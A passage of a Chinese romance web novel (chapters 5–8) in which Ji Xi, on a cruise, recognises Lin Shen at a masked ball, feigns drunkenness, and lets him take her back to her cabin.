常过言去餐厅用早餐,季西在甲板上又晃悠两圈,被大风吹得有些发懵。
她在背风的地方研究了会自己拍的照片,感觉还算满意,随即马上离开甲板。
再吹下去她脸都要僵了。
这么一会时间过去,从房间里出来的人越
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来越多,季西回去时经过餐厅,里面的人明显比她在时变多很多。
她走到下面一层,看到自己房门口站着人。
愣了一下,季西上前。
门口站着的两个人看见她过来,主动打招呼道:“您好,请问您是季西季小姐吗?”
“对的。”季西没想到真是找自己的,“有什么事吗?”
“是这样的,昨晚您是不是在餐厅用餐时参加了抽奖?”
季西回忆了一下,似乎并没有的样子。
她有些疑惑:“并没有参与,您是不是找错人了?”
两人对视一眼,就在季西要说话的时候,另一个人开口:“主厨是不是和您搭话了?我们船上的规定是主厨主动搭话的人视为参与抽奖。”
“抽奖是隐藏制的?”
听到季西这样问,两人忙不迭点头:“对的,因为奖品有限,所以只能这样,而且您不用担心有主观因素,我们主厨并不知道这件事,她也只会随机挑人搭话。”
“原来如此。”季西点头。
虽然她觉得这个理由还是有点扯淡,但没有深问下去,而是问:“我是抽到奖品了吗?”
“对的。”其中一人说:“一等奖,可以升房,带有超大落地窗和浴缸的海上房,请问您是否选择兑换?”
虽然是这么问,但是一般不会有人拒绝。
季西自然也不会拒绝,她说:“那我运气真不错。什么时候可以搬呢?”
“现在就能搬?您的行李多不多?我们可以帮您。”
她的行李只有一个小型行李箱,箱子里的东西都没有拿出来,打开门不到十分钟就能收拾好。
季西摆摆手,“不用了,没有那么多行李,不过可能需要等一下,等会麻烦你们带我上去。”
来之前她看过房型,升完之后的房型价格比她现在这个足足贵了一千。
虽然存款足够,但是季西仔细考虑,她对于大浴缸没有需求,至于海上的风景,到甲板上看也行,还能喝着咖啡观赏。
这样看来,多花一千块完全没必要,还不如到岛上后买点当地的纪念品。
但既然……
那就可以好好享受一番。
她收拾得很快,出门时看见两人正在交头接耳。
拉动箱子故意滚动出声音,两人果然被声音吸引,停止了交流。
“麻烦你们带我上去了。”季西冲他们笑。
两人同时低头看向她的手,发现只有一个小箱子,脸上浮现惊讶。
不过他们脸上神情收得很快,几乎转瞬即逝。
他们一个人走在前面,另一个人笑着从季西手里拿过行李箱。
“昨晚睡得怎么样?还好吗?”前面那人一边走一边问。
“还可以。”季西撑起一个笑。
说起昨晚,她记得她还没给她爸回消息。
得赶在中午吃饭前回了才行,不然影响食欲。
季西只是想着,面上没有显出丝毫的不对劲。
他们走到尽头。
直达的电梯必须刷卡才能解锁,一行三人走进去,不算小的空间立马拥堵起来。
季西站在最里面。
这架电梯是全透明的,站在里面可以看见外面的风景,还有人。
她心里装着事,目光并没有聚焦在任何地方,只是虚虚的落在半空中。
然后看见了一截紧急收回去的腿。
5. 第 5 章
季西浑身汗毛竖起,屏住气,眼神还想追过去,那截腿已经消失不见了。
会不会是林慎……?
她在刚才的记忆里拼命回想,那截腿也变得越来越清晰。
——和记忆中林慎给她的感觉两模两样。
季西渐渐放下心来,她开始觉得自己疑神疑鬼。
虽然这个奖励来源不明,并且有极高的可能性并非抽奖得来。
她也没必要在船上见到谁就疑神疑鬼。
收了视线,电梯停下,她跟着两个人走出去,在第二道门时停下。
“季小姐,就是这里了。”
“按铃可以呼叫餐食,浴缸可以放水但是要提前约热水,不然放出来的会是冷水。还有其他服务也可以按铃呼叫。”
她的行李箱被放进去,两人站在门口跟她道别:“祝您旅程愉快,如果后续还有其他疑问的话,房间内有电话,拨打后会直接接到服务台,后续就会有人上来跟您对接。”
季西点点头,她目送两人离开,然后关上房门,没来得及看周围的环境,而是在沙发上坐下,打开手机。
第一眼看到的是林慎发来的消息。
她心情奇异地放松下来,点进去,觉得有些奇怪。
原来是林慎换了头像。
他的头像本来是一只很热情的金毛在笑,现在变成了一片绿。
小图看不太清楚,季西抿抿唇,点开大图。
这下眼熟了。
是她昨天一时兴起拍的那张圣诞树的照片,被林慎用来当头像,现在整个屏幕都被郁郁葱葱的绿色占着,看着心情好很多。
上午十点,太阳彻底露面,温暖的阳光洒在海面上,波光粼粼,偶尔有几条小鱼跳出来。
季西没有察觉到自己嘴角挂着微笑,只觉得阳光很温暖,照得她心底有些融化了。
她退回去,看林慎发来的消息。
林:吃饭了吗(?′?`?)
林:正在输入中好久……没想好怎么回我吗
季西勾唇,逗他:你问的是早餐还是午饭?
林慎几乎是秒回:早饭吧……
说完,后面又跟了一句:我就是想你了(?????.????????)
季西明白他的意思,看到这里没再回,点开了她爸的聊天界面。
她扫了一眼,不想细看。
果然还是催她回去相亲。
季西叹了一口气,懒得争辩,只回了一个:好。
没想到对方居然秒回了:什么时候回来?
季西瘫在沙发上,回复:我刚刚上船,还得半个月左右吧。
得到的回复是一声冷冰冰的通知:好,半个月后我给你安排相亲。
季西看着这句话,感觉力竭。
她心里有朵小火花在燃烧,很快烧满了整个胸腔。
理智也被通通烧没。
这种感觉实在太让人抓狂,抱着做点什么好释放怒火的想法,季西重新点开林慎的聊天界面,面无表情盯着最后一句话。
然后抬手打字。
季西说:我也想你了。
犹觉不够,她点开表情,挑了一个对她来说十分放浪的亲吻表情,发了过去。
然后把手机丢开。
不管了。
手机沉寂一会后疯狂振动起来,在距离季西仅仅只有三十厘米的地方存在感很足。
季西不知道对面会是什么反应,她现在脑子还在发懵,一会是刚才她爸催她相亲的话,一会是她方才脑子一热发出去的那些。
快要冒烟了。
她摊在沙发上,感觉自己像一团被太阳光照化的雪,融在上面。
这么过了十几分钟,沙发上的手机不再震动,季西满脑袋浆糊总算没那么混。她微微起身,晃了下脑袋,然后抬手去够手机。
手指发力摁亮,季西先是被下面五十多条消息震惊到,然后按耐住自己想点进去细看的心,抬眼看了时间。
快十一点了,该下去吃饭了。
虽然不饿。
她强装镇定,拿上房卡。
出门就听见很多人说话的声音,是从甲板上传来的。
不知道发生了什么。
季西原本不是喜欢凑热闹的性格,但她并不想那么快面对那五十多条信息,于是慢吞吞地来到甲板,凑到人多的地方去。
她顺着众人的视线过去,看到上面站着一个面目严肃的女人,手里似乎拿着话筒正要讲话。
听到周围人的聊天,她才知道,原来上面站着的人是船长,
骚动一阵之后,头顶装着的音响发出声音,众人安静下来。
季西听见呼呼的风声,她的视线穿越船长,落在她身后连接成一片的碧海蓝天上。
骤然响起的女人声音拉回了她的注意力。
“大家好。”听起来很利落的声音说:“我是这艘船的船长,非常有幸能和大家见面。”
底下响起此起彼伏的掌声,船长接着道:“我们将会在船上度过长达3天的时间,希望大家能够玩得开心。我在这里也预祝大家能够度过一个愉快的旅程。值得一提的是,今晚船上会举行一个面具舞会,欢迎大家参加。谢谢诸位。”
她说完就挥挥手下了台,众人围上去与她交谈。
季西则是做好了心理准备,找到一个能晒到太阳的角落落座,点了杯热拿铁,打开手机。
原本的五十多条信息一下跳到了二百开头,季西瞪大眼睛,还以为自己看错了。
刚好拿铁送上来,她喝一口压压惊,然后点开了。
季西从最开始看起。
林慎先是发了问号,然后是感叹号,接着给她打了视频电话,见她不接,又发了很多信息。
她走马观花扫下来,大部分是在表达他自己很开心很想念她,少部分是在撒娇卖萌。
最后一条还是卖萌:吃饭了吗(*?▽?*)
正要回复,他又弹出一条新消息:刚刚把手机摔坏了,不能打视频了o(╥﹏╥)o
季西先回复了上一条:还没吃午饭,你吃了吗?
然后关心他的手机:怎么回事?手机怎么会坏了,工作不要紧吧。视频电话不打也没事。
林慎似乎一直在等她的回答,见她回完,立马回道:有点难过。
季西有点摸不着头脑,看了下上面自己的那条消息。
才反应过来,林慎难过的是她发的最后一句。
季西喝了口咖啡,抓着手机不知道该说什么好。
她思考一会,抬手打字:不要难过。
这四个字发出去显得很
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渣很无力。
季西思考着要不要再发点什么,但她的语言实在匮乏。
翻上去,观察林慎发来的消息,看着隔几句话就带的颜文字,她复制粘贴了一个。
季西:(?"??)?
对面没有再回复,季西关了手机,端着咖啡转过一百八十度。
不远处靠近栏杆的地方也有桌椅,很多人带着墨镜坐在那边,面前都是咖啡,冒着热气。
她抬眼看了看依旧晴的天,开始放空。
林慎此时就坐在角落,丝毫不敢动,怕被她认出来。
他上午收到消息时太过欣喜若狂,抱着手机在季西隔壁的房间绕来绕去,甚至还打开门往走廊看了看。
给季西发了那么多消息没有一条收到回复,难道是出门了吗?
但是他也没有听见隔壁有开关门的声音。
林慎翻到季西发来的那句,长按收藏,又截图下来。
想了想,他还给自己设置了一个纪念日。
详细到时分秒。
这个行为在他看来一点都不夸张。
要知道,季西可从来没有对他说过这种话。
当然值得好好纪念了。
他点进纪念日软件,又点进自己收藏,看见里面唯一一个纪念日,上面标着红色的爱心,下面是63天。
跟其他的记录两模两样,看起来像是很随意的打了个符号上去。
只有林慎知道不是。
他把这个数字看了又看,看了又看,好像要盯出一朵花来一样。
终于要退出去了,没想到一通电话打过来。
是公司那边的助理。
他神色一凛。
走之前叮嘱过她们如果不是很紧急的事,就不必要直接打给他,统统接到他带过来的这个助理手机里,晚上的时候会统一整理给他处理。
他才离开公司一天,就出事了?
他接通。
挂电话时已经过去了半个小时,他听见楼下传来讲话的声音,走过去窗边看见一个女人站在高处,拿着麦克风。
林慎低头看了会,发现季西就在他眼皮子底下,顶着红色的贝雷帽,看起来很迷你。
什么时候下楼的?
林慎原本打算下楼去找季西,但是他看了看季西周围围着的人,打消了这个想法。
干脆在楼上盯着她了。
船长讲的话他自然也听到了,晚上的面具舞会……不知道季西会不会参加。
如果季西参加的话就好了,这样他可以混入其中跟季西跳舞,而且对方说不定还认不出他。
林慎想到这里,心情有些低落。
但是要是认出来的话,季西会生气的。
还是想跟她跳舞。
林慎自己把自己哄好了,看见季西掏出手机,看起来要离开,但是僵了一会。
大概是看到他发的消息了。
他猜季西要去找个晒太阳的地方。
时间线拉回现在。
林慎非常谨慎,担心被季西发现。
但是季西只是端着咖啡,呆呆地望着天,像是入定了一样。
于是他正大光明地盯起对方来。
心里藏着的疑问冒出泡来。
……上午的时候为什么突然给他发想你了?
6. 第 6 章
这种情况实在反常,自从他们认识以来,季西一直都是很淡定的性格,而且压根不会说什么甜言蜜语。
像什么“我想你”之类的话她从来不说,只会在他信息轰炸时才象征性安抚两句。
林慎在猜测季西反常的原因。
思来想去,能影响到她情绪的似乎只有她父亲了。
林慎最近很少跟他母亲林英荣联系,但是从新闻里看,他母亲和季西父亲还在热恋期,所以不可能是这个原因。
他对季西父亲唯一一个印象是长得很温文尔雅,还挺有气质,就是看起来有些阴郁。
他们父女之间的关系林慎也并不了解。
这就麻烦了。
林慎只有这么点线索,根本无法知晓季西变化的原因。
思索片刻,林慎打开手机,给助理发了信息。
再抬眼看过去时,季西已经离开了,他视线移动,看见上面摆着的咖啡杯。
-
夜幕降临,海面平静无波,船上五光十色。
这是在船上待着的第二个晚上。
季西洗了个澡,没想好要不要去楼下参加面具舞会。
她从落地窗往下看,甲板上很明亮,但是空空如也,没有多少人。
嘟嘟。
床上扔着的手机震动,季西拿起来。
是常过言发的消息,问她有没有参加船上的活动。
季西没想好,打算过会再回。
她刚要放下手机,手上又感觉到一股震动。
虽然还没有看,季西下意识觉得是林慎发的。
她点开,果然是绿色头像。
林:今天有什么活动吗?
季西知道他在试探什么。
但林慎不一定知道她知道。
季西勾一勾唇角,忽然有点心情愉悦。
她猜林慎会出现在那场舞会中。
并且——极大可能会跟她搭话。
季西抬眼看了时间,六点半,距离舞会开始还有半小时时间,她还有时间打扮,并且参加。
——她想看看林慎会做什么。
这场躲猫猫游戏也该结束了。
船上的服务生在舞会开始前给每个房间都送了一模一样的面具,还有装饰品,可以供客人们进行改造。
季西拿到手的就是素的样子,她看看桌上的材料和贴纸,想了想,伸手拿了几张。
这次舞会的地点在餐厅下面——宴会厅。
在房间里耽搁了一点时间,季西到时晚会已经开始。
她带着面具,视野还是有些受阻,里面灯光昏暗,隐约能看见流动的人群,更多的就看不到了。
季西混进流动的人群,跟着转了几圈,又在寻找对方无果后荡出了人流,在较亮的地方稍作休息。
她从旁边拿了一杯金色的气泡酒,刚喝一口,面前就出现一个男人。
对方开口,声音她很熟悉。
是常过言。
“可以邀请你和我跳一支舞吗?”常过言语气带笑,温柔道。
季西不好拒绝,打算跟他跳一支就找借口离开。
她大概率想岔了,林慎腿还没恢复好,怎么会来这里?
看来这趟来得不对。
她点点头,手搭到对方伸出的上,被带进舞池。
刚才的群舞现在已经变成了双人舞,季西在转圈时观察到场上跳舞的人不多,大概率是都还没有找到舞伴。
“等会参加完舞会可以去喝一杯吗?”常过言低声问。
季西的注意力被吸引回来,听清楚他的话后微微摇头,“结束后再说吧。”
音乐来到一个高潮部分,季西被拉着转了一个圈,裙子像盛开的花一样绽开来。
她心里没有任何波动,转完圈后却感觉自己被注视着。
感觉奇怪,季西借着舞蹈动作,冲视线来源方向看去。
看到了一个意料之外的人——
但他的出现也在意料之内。
大概是觉得有面具遮挡,灯光昏暗,对方丝毫不避讳她的视线,直直地跟她对视上了。
林慎。
季西在心里轻轻道。
又转一个圈,林慎的身影完全脱离她的视线,但季西还没来得及看清他的腿怎么样了。
等到她回到原本的位置,将目光投向上次林慎在的位置时,对方已经消失。
不知道去了哪里。
季西有些遗憾地收回目光。
一曲毕。
常过言低声询问她还要不要跳,季西犹豫了一会。
欢脱的乐声响起,季西道:“我不会跳这个。”
常过言笑了笑,拉着她的手又进了舞池,“我教你。”
说不会是真的不会,季西笨拙地跟着对方的舞步,还会不小心踩到他的脚。
这么几次下来,季西都有些不好意思,一直在说抱歉。
常过言每次都说没事,季西不知道他是真的没事,还是不好意思说。
踩的次数实在太多,终于在又一次之后,季西实在忍受不了了。
她说:“不跳了吧?学长。”
季西说完,感觉到常过言的情绪好像不似刚才那么高涨。
“好吧。”
她逃似的出了舞池,转过身看见身后的常过言,低头看了看他的鞋。
没有很明显的脚印,太好了。
她抬头想再次对他表达自己的歉意。
察觉到她的视线,常过言好像有些尴尬,脚尖动了两下,主动对季西说:“失陪一下。”
季西猜他是去洗手间。
果不其然,就在季西点完头之后,对方朝着洗手间的方向去了。
她松了口气,找到服务生,从他手里的酒盘中又拿了一杯。
刚才她喝了一口的那杯已经被收走。
一分多钟后,这首曲子终于结束。
季西想着该怎么找林慎,面前一道黑影投下来。
她抬头,听见一道刻意压低、而显得闷闷的声音:“这位小姐,可以邀请您与我共舞一曲吗?”
季西一愣,忍不住勾起嘴角。
想找的人自己到她面前来了。
她装作思考的样子,而后才轻声道:“可以。”
不等对方反应过来,季西主动勾上他的脖子,带着他滑进舞池。
可能是还处于季西这么主动的震惊中,两个动作之后,对方才搂上她的腰。
不过他很绅士,只是胳膊虚虚搂着,手掌却握成拳,没有贴上来。
季西低头看了一眼,忍住笑。
绅士的男人却没有发现她的笑,只是夸赞道:“你的舞步很大气。”
季西说:“谢谢。”
她没再说话。
对方动作卡了一下,没有料到她居然就说了这两个字。
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只好问出自己的问题:“是家里请老师教的吗?”
季西说:“不是。”
就在对方又要开口问时,她笑了笑,说:“哥哥教我的。”
她说完在观察面前男人的反应,没想到他脚步依然很稳,好像说的不是他一样。
“亲哥哥吗?你们感情还挺好的。”
季西听到他问的问题,差点把第一个听成情。
尤其对方说话声音低沉,现场音乐又大声。
她安静了,在思考这位“情”哥哥想听到怎样的答案。
半晌,她给出了自己的回答:“你可以是,但他不是。”
察觉到对方搂着她腰的手臂肌肉部分紧了紧,季西抬眼看他。
目光沉静,不像是生气的样子。
只是回避她的视线。
“看来不是亲的。”他重新开口,好像没有听见季西说的前一句话:“想问问您贵姓?”
“免贵姓季。”季西说:“我可以邀请你跟我一起跳下一支舞吗?”
她说:“你跳舞的时候跟我哥哥蛮像的,他当初教我的时候也是这种感觉。”
“没有拒绝的理由。”男人说:“跟你跳舞很开心。”
“谢谢,我也是。”季西道:“我说你跟我哥哥像,你不觉得生气吗?”
男人低低笑了两声,声音不像是季西平时听到的。
他说:“你哥哥能教出你这样优秀的人,想必也跳得很好。”
言下之意,说他像她哥哥是在夸他,不会生气。
季西无言以对。对他的厚颜无耻无言以对。
这首曲子很快也结束了,因为刚才季西想请他继续跳舞,两人也就没有下场,而是留在舞池上,静待着下一曲响起。
两三秒后,缱绻黏糊的曲子开头声音渐大。
季西感觉面前男人立马紧张起来了。
他有一种想走又不敢走的情绪,这两股情绪大概打的很激烈,就连季西都感受到了。
她不可能让对方就这么离开,好不容易找到的人,于是立马贴近了跟他的距离。
无奈之下,男人只好抓紧她,回到舞池中央。
实在贴的太近,季西听见对方耳语道:“你哥哥连这个都教?”
“这支舞不是我哥哥教的。”
“那是谁?”
他声音阴阴的,季西笑了一下,说:“我自己学的。”
这五个字一出来,对方立马意识到自己有些反应过度了。
“原来是这样。”他掩饰的吐出几个字。
之后不再有人说话。
季西刚才跳了很久,已经有些累了,动作不再那些有力。
幸好这支舞不用太费力气,她只贴着对方,被他的动作和力气带出去就好。
这样也就显得格外黏糊。
男人又重新开口,声音从头顶传来。
“累了?”
太久没说话,忘记掩饰,这个声音听起来有点像林慎本人。
他大概也察觉到,咳了两声,再开口时又是低沉,“我们不跳了好不好?”
季西点点头。
她被他带出舞池,拉着对方匆忙要走的手,递给他一杯酒。
这次拿的酒烈度有点高,喝了怕是要醉。
但是没关系,林慎会送她回去的。
她喝了一口,把杯子放在旁边,凑近他:“我好像有点醉了。”
7. 第 7 章
季西知道,就算她前面一直没有找到林慎,对方也绝对在暗中观察她。
说不定还是刻意避着她。
所以她刚刚喝了两口,再加上现在这一口,醉了也是理所应当。
而且她估计,现在林慎应该没有时间想她到底是不是真的醉。
林慎压低了声音,还能听见他在磨自己的后槽牙——恨得不清。
“我送你回房间吧。”
季西气虚道:“好。”
实则心里早已忍不住笑。
她没想到,林慎到现在都没有发现她已经认出他。
所以从他的角度看,从先前答应跳舞、中间聊天,到现在季西喝醉,向“他”释放信号,都是对着一个陌生男人。
而不是他自己。
季西在思考,面前的男人什么时候才会发现,她现在的一切行为,都建立在他是林慎上才会发生。
一边思索着,季西一边靠在他胸口上,感受着对方因为情绪起伏而上下起伏的肌肉,刚想闭上眼,听见熟悉的声音。
语气还有些生气。
“你好,我认识这位女士,我可以送她回去。”
是常过言走过来了。
她浑身一僵,居然忘记了常过言还在舞会上!
还以为他早就离开了。
而且听常过言这句话的意思,大概是觉得林慎故意吃她豆腐,把她的脸故意往自己的胸口带。
但是是季西主动埋进去的呀!
现在的局面有点尴尬,季西处理不来,她也没脸从林慎胸口抬起来跟常过言说明情况。
反正她喝醉了。
季西想。
她心安理得地把头更往林慎胸口里埋了埋,彻底隔绝了常过言的视线。
剩下的事就让林慎解决吧。
怎么解决她不管,反正她喝醉了。
把这六字真言再在心里重复一遍,季西放缓呼吸,真不打算出头了。
过了几秒钟,她感觉到林慎的手圈在她肩上,保持着一种宣誓主权的姿势。
然后林慎压低了声音说话,胸腔有微微震动。
“这是我妹,不用你关心。”
是刚刚他们聊天时说到的话。
她还以为林慎真没听到呢。
“你妹?”常过言大概以为他在胡说八道,语气里的怒火越来越盛:“我怎么没有见过你?季西在这船上一天了,你也没有出现。”
林慎语气十分淡漠,跟常过言盛气凌人的状态形成了强烈的反差。
“你叫常过言,是我妹的学长。这样够了吧?”
常过言一愣,对方居然真的知道他的身份。
他从洗手间出来的时候看见季西在跟面前男人跳舞,难道是在跳舞的时候说的?
但季西不是在别人背后道人长短的性格,更何况是和一个陌生男人。
但是刚才结束时季西喊了他学长——
绝不可能是猜测的,他连自己名字都知道。
常过言仍然有些狐疑,说:“我跟你一起把她送到门口吧,我不放心你。”
“你叫什么名字?”
林慎回答:“林东。”
季西看不见林慎的表情,但他大概是同意了,因为他抱着她出去时,常过言的脚步声跟着。
本来想在路上把林慎的身份戳穿,现在不行了。
季西只好装死装个彻底。
被林慎身上气息包裹着,处于温暖又安全还有点熟悉香味的环境,季西一路上昏昏欲睡,直到有人用手掌触碰她的脸,被不小心触碰到的指尖温度冰到,她才一瞬间清醒过来。
“房卡有没有带在身上?”是林慎在问。
她从身上摸出卡,闭着眼睛在房门上摸来摸去,终于瞎猫碰上死耗子,碰到了正确的地方。
房门“滴”地一声,打开了。
她扒着林慎,没有要松开的意思。
这么过了几分钟,季西混乱的大脑终于意识到空气中死寂的意味。
她瞬间坐立难安,松开也不是,继续抱着也不是,拼命在大脑里搜寻化解尴尬的法子。
想起刚才林慎说的话,季西黏黏糊糊又大声地喊了声“哥”,确保两个人都能听见。
林慎低低应了一声,季西才又小声道:“怎么还不进去?我困了已经。”
“……好。”林慎摸了摸她的头,又跟常过言说话,声音听不出来什么异常:“听清楚了?谢谢你对我妹这么关照,明天她醒了我会让她跟你好好道谢的。”
说完,林慎抱着季西走进房间,关门前还对常过言说了一句“慢走不送”。
不等对方说话,他毫不留情地关上门。
现在房间内只剩下他们两个人。
季西被抱到沙发上,她顺势躺下,手在扒拉脸上的面具。
系带被绑在后脑勺,以她现在的姿势和神智很难解开。
她弄了一会,干脆不弄了,摆烂一样赖着。
林慎看不过眼,单膝跪下来,一手撑起她的后脑勺,另一只手给她解脸上的面具。
没开灯,呼吸和手上的触感就被无限放大。
林慎屏着气,把面具从季西脸上拿走。
现在已经很晚,唯一的光亮是从外面传来的,从窗户到沙发的距离已经削弱得所剩无几,但还是有些模糊的光线洒下来。
洒在季西的脸颊上,透着点红色。
林慎看了良久,蹙起眉。
他刚才还以为季西其实没有那么醉——至少在门口的时候还算清醒。
现在看脸……真醉了?
还让他进来??
林慎想到这里,脸色明显难看。
他本来不想摘面具,怕被季西发现。
但是现在……
他不知道是被发现好,还是不被发现好。
如果季西早就发现了呢。
不然林慎想不到任何一个理由,能让季西允许一个完全陌生的、只跳过两支舞的男人进到自己房间。
真的醉了?
林慎把手探在她鼻子下面,感受她的鼻息。
他喊:“季西?”
季西嗯了两声。
“你知道我是谁吗?”林慎蹙着眉问。
季西没有立刻回答,而是坐起来,凑近他。
两个人离得很近,四目相对,林慎能看见她睡眼惺忪,脸色酡红,正目不转睛地盯着他看。
他脸上的面具并没有摘下来,虽然知道如此,但林慎还是不由得感觉到一阵紧张。
季西盯了一会,眉头微微拧起,像是很不满意的样子。
林慎一怔,没注意到她伸着手,指尖落在他脸上,想把他面具摘下来。
可惜系得太紧,面具动了两下,丝毫没有松开的趋势。
林慎按住自己脸上的面具,又喊了一遍她的名字:“季西。”
面前人的目光微微上抬,跟他对视上。<
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p>林慎才继续道:“你知道我是谁吗?”
季西盯着他,已然在思考。
片刻后,林慎听到她的答案。
她说:“你长得好像我哥啊。”
林慎心凉了片刻。
季西真没有认出他。
他不相信季西真能把一个陌生男人放进来,不死心地问:“我带着面具,你怎么知道我长得像你哥?”
这句话问完,季西没有回答,而是盯着他陷入了沉思中。
林慎心里一丝不灭的小火苗重新燃烧起来。
可惜,他的侥幸心理只存在不到一分钟,很快就破灭了。
季西说:“你跳舞的时候像我哥,刚刚在门口的时候也像。”
林慎现在确定她是真的喝醉了,也不掩饰自己的声音,冰冷道:“这就是你能随便放我进来的理由?我们不认识吧?”
“哪里不认识。”季西带着笑说:“你是我哥。”
林慎不想再跟醉鬼来回说车轱辘话,撒气般把自己的面具摘下来,跟季西的面具放在一起,然后起身去开了灯。
他扭头看时,季西又躺倒了,用手背挡着眼睛,应该是嫌弃灯光太亮了。
走过去俯身,居高临下看着季西。
察觉到光亮变暗一些,季西放下手,睁眼就看见一张脸。
她瞪大了一点,目光一寸一寸扫过男人的脸。
林慎被她毫不掩饰的目光看得有点不自然。
他又突然有些怀疑起季西来了,怀疑她根本没醉,刚才那一系列动作都是为了骗他摘下面具,好现在来质问他。
更何况,他的脸今晚一直都捂在那副全包的面具里,面具质量不好,他怀疑自己现在脸部状态糟糕。
林慎站直,抬手捂住自己的下半张脸,没有错过季西一直盯着他脸的瞳孔动作。
他还记得刚才季西说的话,不满道:“又不是亲哥。”
林慎在测试季西。
他说完这句话,紧紧盯着季西的脸,不错过她脸上一丝活动。
季西笑了一下,说:“是情哥哥。”
林慎想,她真的醉了。
两个人对视十几秒,林慎放下手,走过去,跪在她脚边,抬着头道:“你亲我一口呗。”
既然被季西拉进房间的人是他,那是谁都不重要了。
反正也只能是他。
不会有别人。
季西看着他,眼睛眨了两下。
然后向他的方向靠近,从善如流地在他左脸颊上亲了一口。
“还要吗?”她问。
林慎感觉自己脑袋充血了,不然怎么那么晕。
他厚着脸皮点点头,主动把自己的右脸颊凑过去。
季西嘴唇上有口红,刚才喝酒时在酒杯上都留了一点印子,现在脸上更不用说。
全掉他脸上也行,方便等会他给她卸妆。
季西在他右脸上亲了一口。
接下来都不用她再问,林慎很自然地把自己的嘴凑上去,还啵起来。
季西盯着他的动作,往后靠了一点。
林慎对她往后靠的动作十分不满,主动凑上前。
季西不笑了,冷不丁道:“你不像我哥了。”
“嗯?”林慎收回自己的嘴。
“你像一只小狗。”季西说。
她脸上展现出让林慎很着迷的笑容,抬手摸了摸他的头。
她说:“汪汪。你真可爱。”
8. 第 8 章
“……汪汪。”林慎说:“你也好可爱。”
说完,他站起来,以战士般的坚定步伐往洗手间走去。
林慎关上门,抬眼看见镜子里的人时,差点被自己吓了一跳。
好陌生。
……这个脸红成番茄的人是谁。
打开水龙头,本来想洗把脸给自己降温,忽然想起刚才季西在自己左右脸上各亲了一口。
他关掉水龙头,连忙凑近,侧过脸仔细看上面有没有唇印。
有一点,在他番茄色的脸上不太明显。
他有些懊恼,抬头看了看脖子,发现自己脖子上只有很淡的粉色。
早知道亲脖子上。
好歹还能看出颜色来。
盯着自己脸上的唇印,林慎打开水龙头,往自己额头和下巴上扑水,给自己降温。
扑了好几遍,再抬头看时,脸上已经褪成浅粉色,脸颊两边的唇印明显许多。
林慎掏出手机,给自己自拍几张,然后抽了几张纸,正要擦时又犹豫了。
想了想,他还是没有擦掉,而是把自己脸上的水吸干净,又出去了。
出来时第一眼看向沙发,沙发上的人却不见。
林慎目光下意识移向大床,人果然躺在上面。
他走过去看她,季西闭着眼,好像在睡觉。
但是脸上妆还没卸,更何况身上还穿着不适合睡觉的大裙子。
林慎思考两秒,又进了卫生间,出来后手上拿着毛巾和盆,盆里是热水,正悠悠冒着热气。
卸妆水和卸妆湿巾在桌子上,林慎把垃圾桶勾到腿边,拿着水和湿巾,不知道该用哪个。
他思忖两秒,两个都放下,而后拿出手机搜索起来。
片刻后,他放下手机,把季西扶起来,抱进自己怀里。
——
艰难操作一番,季西原本清丽可爱的脸露出来,林慎把她掉下来的头发撩上去,仔细端详上面还有没有残留的化妆用品。
确定没有,他从盆里捞起毛巾,挤干净水后细细地给她擦脸。
毛巾还是热的,她的脸被擦过之后残留了一点红色,还散发着肉眼不可见的热气。
林慎给她擦了脸,又擦了擦脖子,然后放她下去睡觉。
他自己则是收拾这里的残局。
没想到季西又挣扎着坐起来。
林慎看着她揉眼睛,庆幸自己刚才给她卸了妆。
不然那些化学药剂就要揉进眼睛里了。
他问:“先睡觉吗?”
“睡觉?”季西动作一顿。
她刚才真睡着了,被林慎抱着卸妆擦脸时还有些半梦半醒的。
“不得先洗澡吗?”她理所当然道。
说罢,她站起来,皱着脸四处看看,找到自己的行李箱,然后从里面拿衣服,把僵立在洗手间门口的林慎赶走。
想起什么似的,她又扭头说:“你也得洗。”
“啊?”林慎下意识发出疑惑的声音。
“你回你房间洗,等会再过来。”季西打了个哈欠,浑然不觉自己说出了什么惊天动地的话。
“啊?”林慎又发出疑惑的声音,似乎是意识到自己太蠢,又找补道:“等会我怎么过来?”
“走过来。”季西有点无语,“我给你开门。”
说完她就进去了,丝毫不管身后那人脸部表情是如何惊慌失措。
季西洗完澡,感觉自己身心舒爽,打开门,雾气争前抢后地冒出去,然后看到了某个还没离开的人。
“……”
季西说:“不是让你去洗澡?”
林慎脸上还留着那两个口红印,闻言只是摸摸鼻子,“你不是喝醉了吗,我怕你在里面摔了。”
“啊。”
突然想起自己还有个醉酒的身份,季西掩饰性地扶了扶自己的额头,打算坦白:“其实我没醉。”
“哦。”林慎很平静,“醉了的人都说自己没醉。我先回去洗澡了,等会记得给我开门,不要提前睡着了。”
他安静一会,然后说:“要不你把房卡给我吧。”
季西觉得他说得很有道理,醉了的人是不会说自己醉了的。
那她最开始时说自己醉了这又怎么解释?
她思考不出来结果,决定不想了,心平气和地说:“你自己拿吧,我要睡了。”
林慎动作很快,像是怕她反悔一样,“嗖”地出去了。
季西洗了头发,用浴巾包完之后半干,她找到吹风机,插上电,然后打开了最大的风力模式,对着自己脑袋吹。
吹了一会,门口那里有响动,季西偏头看了一眼,是已经换了一身衣服的林慎。
他头发在往下滴水,应该是没擦就过来了。
季西把自己刚用完的浴巾扔到他头上。
林慎只是披在自己肩上,走过来时主动接过她手里的吹风机,手指穿梭她的长发里。
季西打了个哈欠。
林慎说:“快干了,等会就能睡了。”
季西小幅度地点点头。
林慎吹完她后面的,转到她前面,看见她垂着眼,不知道在想什么。
察觉到自己面前光线被挡,季西抬眼看了一下,对上林慎的视线。
对方大概是没想到她会抬眼,仅仅只对视一眼就撇开,目光慌乱地不知道往哪里放好。
季西知道了。
林慎终于意识到她现在是清醒的了。
季西主动往前靠,额头顶在他的锁骨上。
她整个人被深深的困意包裹住,疲倦地闭上眼。
吹风机声停止,林慎在把吹风机放回原来位置。
他的动作很小心翼翼。
季西感受着对方平稳起伏的呼吸,又打了个哈欠。
林慎摸了摸她的头,手放在她后颈上,说:“你先睡吧?我去把我的头发吹干再回来。”
季西当然没有异议。
她坐直了,看着林慎,声音十分清楚:“明天早上我要看到你在这里。”
林慎视线回避,支支吾吾地不肯回答。
季西掐了掐他的脸,问:“你听到了吗?”
林慎最终还是点点头。
季西得到答案,主动爬上床,睡在一边,另一边还留了空位,明眼人都看得出来是给谁留的。
林慎回来时,她已经睡着了。
他步子放轻,一只腿压在床上时,床垫往下陷了陷,季西翻了个身。
林慎动作更加轻了。
他躺进去,被子被季西盖了大半,没敢扯,感觉自己实是在做
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梦。
其实也是梦吧。
